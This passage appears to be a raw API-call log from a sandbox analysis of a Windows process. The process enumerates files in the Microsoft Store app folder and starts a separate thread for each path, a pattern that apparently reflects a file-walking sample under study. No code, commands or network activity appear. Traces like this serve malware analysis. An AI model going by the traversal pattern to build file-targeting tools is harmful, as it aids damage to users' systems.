	[0090.019] wcscat (in: _Dest=0x4777860, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.019] wcscat (in: _Dest=0x4777860, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0090.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4777860, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2178
	[0090.020] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xff9cd23, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3f552d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xff9cd23, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.Entertainment.Common", cAlternateFileName="MSENTE~1.COM")) returned 1
	[0090.020] wcscmp (_String1="MS.Entertainment.Common", _String2=".") returned 1
	[0090.020] wcscmp (_String1="MS.Entertainment.Common", _String2="..") returned 1
	[0090.020] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e33818
	[0090.020] wcscpy (in: _Dest=0x4e33818, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.020] wcscat (in: _Dest=0x4e33818, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.020] wcscat (in: _Dest=0x4e33818, _Source="MS.Entertainment.Common" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\MS.Entertainment.Common") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\MS.Entertainment.Common"
	[0090.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4e33818, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x217c
	[0090.021] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe91ca4, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xff76aca, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xff76aca, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x287c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.Entertainment.Common.Mobile.dll", cAlternateFileName="")) returned 1
	[0090.021] wcscmp (_String1="MS.Entertainment.Common.Mobile.dll", _String2=".") returned 1
	[0090.021] wcscmp (_String1="MS.Entertainment.Common.Mobile.dll", _String2="..") returned 1
	[0090.021] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xff9cd23, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xff9cd23, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0xff9cd23, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x12400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.Entertainment.Common.winmd", cAlternateFileName="")) returned 1
	[0090.021] wcscmp (_String1="MS.Entertainment.Common.winmd", _String2=".") returned 1
	[0090.021] wcscmp (_String1="MS.Entertainment.Common.winmd", _String2="..") returned 1
	[0090.021] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xea) returned 0x47515c8
	[0090.021] wcscpy (in: _Dest=0x47515c8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.021] wcscat (in: _Dest=0x47515c8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.021] wcscat (in: _Dest=0x47515c8, _Source="MS.Entertainment.Common.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\MS.Entertainment.Common.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\MS.Entertainment.Common.winmd"
	[0090.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47515c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2180
	[0090.022] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x100cdffb, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3f56a17, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x100f4259, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0090.022] wcscmp (_String1="Resources", _String2=".") returned 1
	[0090.022] wcscmp (_String1="Resources", _String2="..") returned 1
	[0090.022] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4719390
	[0090.022] wcscpy (in: _Dest=0x4719390, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.022] wcscat (in: _Dest=0x4719390, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.022] wcscat (in: _Dest=0x4719390, _Source="Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\Resources"
	[0090.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4719390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2184
	[0090.022] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffc2f7c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x100cdffb, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x100cdffb, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x15ffa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0090.022] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0090.022] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0090.022] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x477c6e0
	[0090.023] wcscpy (in: _Dest=0x477c6e0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.023] wcscat (in: _Dest=0x477c6e0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.023] wcscat (in: _Dest=0x477c6e0, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0090.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477c6e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2188
	[0090.023] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1016696a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3f5a955, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1016696a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UX", cAlternateFileName="")) returned 1
	[0090.023] wcscmp (_String1="UX", _String2=".") returned 1
	[0090.023] wcscmp (_String1="UX", _String2="..") returned 1
	[0090.023] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb4) returned 0x4f2c720
	[0090.023] wcscpy (in: _Dest=0x4f2c720, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.023] wcscat (in: _Dest=0x4f2c720, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.023] wcscat (in: _Dest=0x4f2c720, _Source="UX" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\UX") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\UX"
	[0090.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2c720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x218c
	[0090.024] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10ef5fcd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb3f5c5b2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x10ef5fcd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinStore", cAlternateFileName="")) returned 1
	[0090.024] wcscmp (_String1="WinStore", _String2=".") returned 1
	[0090.024] wcscmp (_String1="WinStore", _String2="..") returned 1
	[0090.024] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4925c20
	[0090.024] wcscpy (in: _Dest=0x4925c20, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.024] wcscat (in: _Dest=0x4925c20, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.024] wcscat (in: _Dest=0x4925c20, _Source="WinStore" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\WinStore") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\WinStore"
	[0090.024] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4925c20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2190
	[0090.025] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1018cbc3, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x109263f2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x109263f2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1650e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinStore.App.dll", cAlternateFileName="")) returned 1
	[0090.025] wcscmp (_String1="WinStore.App.dll", _String2=".") returned 1
	[0090.025] wcscmp (_String1="WinStore.App.dll", _String2="..") returned 1
	[0090.025] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x109263f2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x109263f2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x109263f2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinStore.App.exe", cAlternateFileName="")) returned 1
	[0090.025] wcscmp (_String1="WinStore.App.exe", _String2=".") returned 1
	[0090.025] wcscmp (_String1="WinStore.App.exe", _String2="..") returned 1
	[0090.025] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x109263f2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x10e37405, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x10e37405, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xa28200, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinStore.Entertainment.Mobile.dll", cAlternateFileName="")) returned 1
	[0090.025] wcscmp (_String1="WinStore.Entertainment.Mobile.dll", _String2=".") returned 1
	[0090.025] wcscmp (_String1="WinStore.Entertainment.Mobile.dll", _String2="..") returned 1
	[0090.025] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10e5d65f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x10ecfd6f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x10ecfd6f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xb9e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinStore.Vui.dll", cAlternateFileName="")) returned 1
	[0090.025] wcscmp (_String1="WinStore.Vui.dll", _String2=".") returned 1
	[0090.025] wcscmp (_String1="WinStore.Vui.dll", _String2="..") returned 1
	[0090.025] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10ecfd6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x10ecfd6f, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x10ecfd6f, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinStore.Vui.winmd", cAlternateFileName="")) returned 1
	[0090.025] wcscmp (_String1="WinStore.Vui.winmd", _String2=".") returned 1
	[0090.025] wcscmp (_String1="WinStore.Vui.winmd", _String2="..") returned 1
	[0090.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477f370
	[0090.025] wcscpy (in: _Dest=0x477f370, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.025] wcscat (in: _Dest=0x477f370, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.025] wcscat (in: _Dest=0x477f370, _Source="WinStore.Vui.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\WinStore.Vui.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\WinStore.Vui.winmd"
	[0090.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477f370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2194
	[0090.026] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10ecfd6f, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x10ef5fcd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x10ef5fcd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x27a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinStore.winmd", cAlternateFileName="")) returned 1
	[0090.026] wcscmp (_String1="WinStore.winmd", _String2=".") returned 1
	[0090.026] wcscmp (_String1="WinStore.winmd", _String2="..") returned 1
	[0090.026] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477d028
	[0090.026] wcscpy (in: _Dest=0x477d028, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.026] wcscat (in: _Dest=0x477d028, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.026] wcscat (in: _Dest=0x477d028, _Source="WinStore.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\WinStore.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\WinStore.winmd"
	[0090.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477d028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2198
	[0090.027] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f8e937, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x10fb4b95, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x10fb4b95, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinStoreTasks.winmd", cAlternateFileName="")) returned 1
	[0090.027] wcscmp (_String1="WinStoreTasks.winmd", _String2=".") returned 1
	[0090.027] wcscmp (_String1="WinStoreTasks.winmd", _String2="..") returned 1
	[0090.027] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477e730
	[0090.027] wcscpy (in: _Dest=0x477e730, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.027] wcscat (in: _Dest=0x477e730, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.027] wcscat (in: _Dest=0x477e730, _Source="WinStoreTasks.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\WinStoreTasks.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\WinStoreTasks.winmd"
	[0090.027] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477e730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x219c
	[0090.028] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10fb4b95, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x10fb4b95, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x10fb4b95, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xda00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinStoreTasksWrapper.dll", cAlternateFileName="")) returned 1
	[0090.028] wcscmp (_String1="WinStoreTasksWrapper.dll", _String2=".") returned 1
	[0090.028] wcscmp (_String1="WinStoreTasksWrapper.dll", _String2="..") returned 1
	[0090.028] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10fdadf7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x10fdadf7, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x10fdadf7, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinStoreTasksWrapper.winmd", cAlternateFileName="")) returned 1
	[0090.028] wcscmp (_String1="WinStoreTasksWrapper.winmd", _String2=".") returned 1
	[0090.028] wcscmp (_String1="WinStoreTasksWrapper.winmd", _String2="..") returned 1
	[0090.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x47eaf88
	[0090.028] wcscpy (in: _Dest=0x47eaf88, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
	[0090.028] wcscat (in: _Dest=0x47eaf88, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\"
	[0090.028] wcscat (in: _Dest=0x47eaf88, _Source="WinStoreTasksWrapper.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\WinStoreTasksWrapper.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe\\WinStoreTasksWrapper.winmd"
	[0090.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47eaf88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21a0
	[0090.029] FindNextFileW (in: hFindFile=0x46a7a98, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10fdadf7, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x11001051, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x11001051, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x6d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZXing.winmd", cAlternateFileName="")) returned 1
	[0090.029] wcscmp (_String1="ZXing.winmd", _String2=".") returned 1
	[0090.029] wcscmp (_String1="ZXing.winmd", _String2="..") returned 1
	[0090.029] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719530
	[0090.029] wcscpy (in: _Dest=0x4719530, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsStore_11701.1001.87.0_x64__8wekyb3d8bbwe"
